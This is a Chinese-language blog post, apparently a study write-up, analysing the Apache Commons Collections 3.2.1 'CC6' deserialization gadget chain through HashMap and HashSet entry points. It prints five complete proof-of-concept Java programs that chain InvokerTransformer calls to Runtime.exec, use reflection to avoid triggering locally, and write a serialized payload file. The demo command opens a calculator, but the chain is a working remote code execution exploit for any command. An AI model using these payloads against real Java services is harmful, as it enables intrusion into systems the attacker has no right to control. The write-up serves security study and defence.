java安全-CC6链学习与分析
2022-12-18 23:55:00

0x00、前言

CC6也是在CC5的基础上,改变了入口,依旧单独列出来方便整理,写一起太乱了。

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(版本无限制)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)
maven项目pom.xml文件中添加依赖

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、分析

CC6基于CC5的变式,改变了触发入口点,简述CC5的触发过程

回顾CC5链

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
  • LazyMap对象传入TiedMapEntry类构造方法,再通过TiedMapEntry.toString()方法去调用TiedMapEntry.getValue()方法,最后调用到lazyMap.get()方法。
  • TiedMapEntry对象通过反射赋值给BadAttributeValueExpException类的val值,通过反序列化BadAttributeValueExpException类对象,调用重写readObject方法中的val.toString()
  • val.toString()调用等效于TiedMapEntry.toString(),即调用TiedMapEntry.getValue()方法,达到调用lazyMap.get()方法触发代码执行。

CC6链分析

在CC5中提到,调用LazyMap.get()方法,找到的新的入口TiedMapEntry.getValue()中调用的get()方法

然后顺势寻找getValue()的调用情况,TiedMapEntry本类中有三个方法进行了调用

其中CC5就是BadAttributeValueExpException类调用了toString()方法形成的新入口。

除了toString()方法外,还有hashCode()equals()hashCode()能联想到HashMap,在学CC5的时候看到这三个方法我以为就是利用hashCode(),结果是toString()的调用链。

实现思路一:HashMap

继续看hashCode()的调用联想到的HashMap

HashMapput值时,会对key进行hash操作,会调用hash(),其中hash()方法调用key参数的hashCode()方法,且key参数是可控的,为了调用TiedMapEntry.hashCode(),只需要将TiedMapEntry对象作为key传入hash(Object key)方法中,便能调用TiedMapEntry.hashCode(),达到执行代码的目的。


执行效果:

这时候就能触发代码执行了,开始想的hashmap也可以直接序列化,为啥就不直接把hashmap对象给序列化,虽然在本地会触发一次代码执行,但也算是个利用链,但在序列化和反序列化的过程发现都存在问题

报错排查

序列化过程报错java.lang.ProcessImpl,该对象无法序列化导出抛出异常,开始想半天也不知道这个对象是哪来的,随后进行序列化调试
因为是对hashmap对象进行的序列化,且hashmap重写了序列化和反序列化过程,所以直接断点重写的序列化步骤就行

hashmap的序列化写入显示经过defaultWriteObject()默认的序列化写入,然后还会经过internalWriteEntries()序列化检查,通过断点下来给我感觉作用就是把hashmap放入table中对每个Key-value进行序列化写入,然后遍历每个map的元素依次序列化调用defaultWriteObject()方法

直接进internalWriteEntries()方法查看Map对象的情况,此时table中只有一个key=TiedMapEntry对象,该对象为我们put进的对象,

读取到table对象元素后进行writeObject写入,并判断元素类型,进入对应的序列化步骤

随后在序列化读取数据的,发现此时还存在另外一个Key元素,key值是11,也就是说hashmap的另外一个map中还存在一对键值对,key值为11

随后遍历到key值为11的元素后 会再次序列化,重复重写的writeObject()步骤去写入另一个map中元素

此时序列化table内容就变为另外一个map的元素内容:key11valueProcessImpl对象,随后再对value进行序列化写入的时候,由于ProcessImpl对象不可被序列化,导致抛出异常

序列化报错的原因找到了,现在就是找到为啥会多出来添加一组元素的map对象

由于序列化操作是已经对代码进行了编译,也就是说前面的代码已经被执行过了然后再对hashmap对象进行序列化,在序列化前hashmap的存在两个map,其中分别存在1组元素

回到LazyMap.get()这个触发点,在本地put值时会触发一次代码执行,此时的运行步骤

可以看到当前的key11,为TiedMapEntry对象创建时传入构造方法的key值,会判断map中是否存在key11的元素,当前由于map只有一个TiedMapEntry对象的key元素,不存在key11的元素,因此会进入判断体,执行factory.transform(key)触发了代码执行,随后将返回来的值ProcessImpl对象赋值给value变量,然后进行map.put(key,value),此时key11valueTiedMapEntry,因此当前map对象中会多出一组元素,导致序列化报错。

TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);

同时由于本地触发了漏洞,添加了map元素,导致反序列化时,map中已经存在Key11的元素,因此不会进入判断体,不会触发代码执行。

解决序列化问题

因此需要将新多出来的map元素进行删除,对象为LazyMap.decorate(map,transformerChain)传递进的map对象

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
Map hm=new HashMap();
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);
//删除map对象的新增的元素,避免序列化出错以及触发点失效
map.remove(11);

此时序列化就不会再报错,同时反序列化也能触发漏洞。

解决本地触发问题

解决本地触发,可以直接把触发点制空,在put完元素后,再通过反射把触发点设置给Lazymap,实现方法很多,原理都是一样的,都时是通过在put值时不触发Runtime.exec()就行,可以先制空或者填加一个正常的ConstantTransformer方法都可以。

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map hm=new HashMap();
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);
//删除map对象的新增的元素,避免序列化出错以及触发点失效
map.remove(11);
//通过反射将触发链转换器赋值给factory变量
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap,transformerChain);

POC-1

解决了上面问题,再加上序列化和反序列化步骤就得到完整POC,这里也不再写构造POC过程了,根据分析就得到大部分步骤了组合起来就行。

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map hm=new HashMap();
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);
//删除map对象的新增的元素,避免序列化出错以及触发点失效
map.remove(11);
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap,transformerChain);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6payload.ser"));
outputStream.writeObject(hm);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

实现效果:

疑惑

在上面的所有分析都基于 新建立了一个hashmap对象去put TiedMapEntry对象的分析,如下面的hm变量。开始没想那么多,单纯新建了一个hashmap对象想去触发漏洞,直到在学习分析思路二的时候,回过头看到代码,有个疑惑“为啥要多建立一个hashmap对象去触发,已经有一个hashmap对象了(如下面代码的map变量),直接用map变量去put进TiedMapEntry对象不就行了”

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map hm=new HashMap();
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);
map.remove(11);

然后将代码改成下面过后,本以为效果还是一样的,但运行过后发现,如果不要map.remove(11);即不删除map中key为11的元素,依旧能反序列化触发漏洞,而上面分析中新建hashmap对象去put进TiedMapEntry对象的话,必须要删除第一个hashmap对象中的key为11元素才能触发。

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
map.put(TM,111);
//map.remove(11);

在调试过程中也发现运行完map.put(TM,111);后,也添加了key为11的元素,此时ma已经存在key为11的元素

那在反序列化的时候,在触发漏洞点时不是应该map.containsKey(key)值为true吗,为什么实际运行结果是false然后触发漏洞

调试找下原因,hashmap重写了反序列化readObject,那在反序列化处打断点看看怎么读取数据的。
readObject的前面部分代码就是获取一些序列化流的一些信息,然后在创建node节点,读取流中的map信息,依次把key和value进行put还原。
在关键读取map中下断点

可以看到第一个读取还原的Map元素,keyTiedMapEntryvalue111

读出来后,进行putVal()写入还原hashmap,其中会有hash(key)操作,跟进hash

然后调用到hashCode(),跟进hashCode(),调用getValue(),再跟进getValue(),进入到get方法中

进入到判断体中,触发漏洞

可以看到当前的table表中没有任何元素,因此能进入判断体中触发漏洞,然后再Put添加元素

然后再跳过断点,回到主循环体,这时候读取第二组元素,此时的Key为11,然后再进行put操作

至此,简述就是反序列化过程中,最先读取到mapkeyTiedMapEntry的元素,然后进行put时由于map中没有存在key11的元素,因此能够触发漏洞,触发完漏洞过后再还原写入key11的元素。

同hashmap对象操作能触发的原因找到了,再看看不同hashmap对象操作时,同样不删除key为11的元素,为什么就不行

Map map = new HashMap();
Map hm=new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
hm.put(TM,111);

同样下断点,此时读取的元素<key,value>为(11,11),不是上面情况的keyTiedMapEntry的元素,因此最开始就读取key为11的元素写入到map中,自然不会触发漏洞了

如果添加map.remove(11);删除key为11的步骤,在反序列化时读取的map元素就为TiedMapEntry元素,就能正常触发漏洞。

至此,原因找到了,但第二种情况为什么先还原的key为11,我的猜测:
第二种情况,由于第一个hashmap对象先创建,对第二个hashmap对象进行put操作,编译序列化写入的时候按顺序将第一个hashmap对象先写入此时已经将编译完成的值写入,导致在反序列化读取的时候第一个hashmap对象已经存在key为11的元素;而第一种情况,对同一个hashmap对象进行操作,顺序也是先Put进TiedMapEntry为Key,触发漏洞后,再创建put一个key为11的元素,所以序列化时第一个还原key为TiedMapEntry的map元素。

POC-2

通过上面遇到的疑惑,同hashmap对象也能触发漏洞,就得到了第二个poc

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
map.put(TM,111);
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap,transformerChain);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6payload.ser"));
outputStream.writeObject(map);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

POC-3

上面学习的时候通过反射修改链转换器来实现本地序列化时触发的代码执行,还可以通过反射修改hashmap的key值,达到规避本地触发的问题。
hashmap底层通过table表将map的键值对存储到table表的node节点对象中,修改hashmap的key值,实际就是修改table中的key值

先通过反射获取hashmap的table表属性

Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(map);

然后获取table表中存在key的元素,也就是要修改的元素,由于不同环境下key值存在的序号不同,就写了个循环去查找避免找不到,比如我这序号是13

//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}

最后反射更改key值为触发对象

//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

最后进行序列化和反序列化即可,得到完整POC

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
map.put("any",12);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(map);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6payload1-2.ser"));
outputStream.writeObject(map);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6payload1-2.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

实现效果:

实现思路二:HashSet

分析过程

另外一种实现通过HashSet进行调用,先看看HashSet是干嘛的

HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。
HashSet 允许有 null 值。
HashSet 是无序的,即不会记录插入的顺序。
HashSet 不是线程安全的, 如果多个线程尝试同时修改 HashSet,则最终结果是不确定的。 您必须在多线程访问时显式同步对 HashSet 的并发访问。
HashSet 实现了 Set 接口。

简述就是HashSet是一个无序且无重复元素的集合,只有Key值(可以理解为value值固定的hashmap),HashMap为键值对key-value形式。

其中会内置一个transient类型的hashmap-map变量,构造方法会自动对map对象进行hashmap实例化。

回到利用链来,上面的时候分析到hashmapput元素时,将TiedMapEntry对象putmap中,在对元素进行hash()时会自动调用TiedMapEntry.hashCode()方法,达到执行代码的目的。

因此重点就在hashmapput操作,就找HashSet在哪对map对象进行了put操作,且putkey得我们可控才行。

发现HashSet中,add操作调用了,重写的readObject中也调用了

add操作相当于hashmapvalue值固定了,然后把传入key进行put操作,底层上还是hashmap的操作,然后实现方法同样,put值就能触发。

再看序列化和反序列化,虽然其中的map变量是transient修饰的,无法对map进行序列化,但序列化过程会遍历map中元素,把元素写入流中,再通过反序列化把流写入新的hashmapmap中。

HashSet中重写的readObject中对map进行了put操作,对反序列化的操作注解写在里面

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

//判断底层hashmap流容量
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}

//判断加载因子,通俗就是说查看该map的装入的元素会不会超过设定的加载大小,例如容量大小为16,加载因子设置为0.5,就是装入元素为8个,超过8个就超过了设置的预期值,用来设置预期装入的容量大小。
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

//判断底层hashmap流大小
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}

//上面条件都满足就急计算底层hashmap流的实际可容量
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);

//创建上述条件下的hashmap对象,用来写入
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

//循环读取元素然后put入hashmap的map中
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

看下来基本不需要去绕过上面的限制,默认情况下都是满足条件的,只需要对序列化的对象进行反序列化读取,然后写入到map中,接下来再去看序列化写入,看写入的参数是否可控。

private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//对非static或transient类型的数据进行写入
// Write out any hidden serialization magic
s.defaultWriteObject();

//把底层hashmap的容量和加载因子写入
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

//把底层hashmap的大小写入
// Write out size
s.writeInt(map.size());

//把map中元素依次进行写入
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

可以看到虽然maptransient类型无法序列化,但写入过程基本把map的信息读取出来依次写入流中,再通过反序列化读取重新写入到新的hashmap对象中。

POC-1

通过上面的学习,发现同思路一的poc,把入口点换成HashSet,相当于多走了一步弯路,思路一中直接通过hashmap对象put值进行触发,这通过hashset进行add值去触发hashmap.put进行

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//创建一个空的链转换器
Transformer[] transformersfake = new Transformer[]{};
//通过链转换器进行循环调用transformers数组
Transformer transformerChainfake = new ChainedTransformer(transformersfake);
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChainfake);
Map hm=new HashMap();
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
//通过HashSet add值去触发漏洞
HashSet hs=new HashSet(1);
hs.add(TM);
//删除map对象的新增的元素,避免序列化出错以及触发点失效
map.remove(11);
Field field=LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(Lmap,transformerChain);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6payload.ser"));
outputStream.writeObject(hs);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

实现效果:

POC-2

同实现思路一的POC-2的分析学习,规避本地序列化也可以通过反射修改key值
不过不同的是思路二用HashSet作为入口,因此在修改key值时,需要对HashSet中的map的table表中的key进行修改。
同时由于不修改链转换器,且添加的key值任意不为11即可,因此无需像POC-1那样删除key为11的元素。

因此先获取获取hashset中的hashmap对象属性

//获取hashset中的hashmap对象属性
Field hsset = HashSet.class.getDeclaredField("map");
hsset.setAccessible(true);
HashMap hsmap=(HashMap) hsset.get(hs);

再获取hashmap中的table属性

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hsmap);

获取table属性过后,再获取table中存在的key值,并进行修改为目标触发的对象。

//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

最后进行序列化和反序列化触发漏洞即可,得到完整POC:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
TiedMapEntry TM=new TiedMapEntry(Lmap,11);
HashSet hs=new HashSet(1);
hs.add("any");

//获取hashset中的hashmap对象属性
Field hsset = HashSet.class.getDeclaredField("map");
hsset.setAccessible(true);
HashMap hsmap=(HashMap) hsset.get(hs);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hsmap);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6payload-2.ser"));
outputStream.writeObject(hs);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6payload-2.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}

0x04、总结

本以为cc6跟前面cc4、5一样进行变式就行了理解起来很容易,但实际学习中虽然只改变入口为hashmap和hashset,但为了理解里面的原理踩了好些坑,也更了解了hashmap和hashset序列化的过程(包括通过反射去修改hashmap的key值),如果只是跟着网上的资料学习跟踪链的话,很多细节还是被直接过掉了,还是要尽可能学习逆向思维,找到为什么这段代码能触发,为什么要这么写,写成其他的为啥不行,被绕进去好几次,但最后还是理清楚了很多,学到了很多,但在默认的序列化功能源码上多少还有些不太明白理的清的地方。

0x05、参考链接

https://www.runoob.com/manual/jdk11api/java.base/java/util/HashSet.html#method.detail
https://paper.seebug.org/1242/#commons-collections-6
java漫谈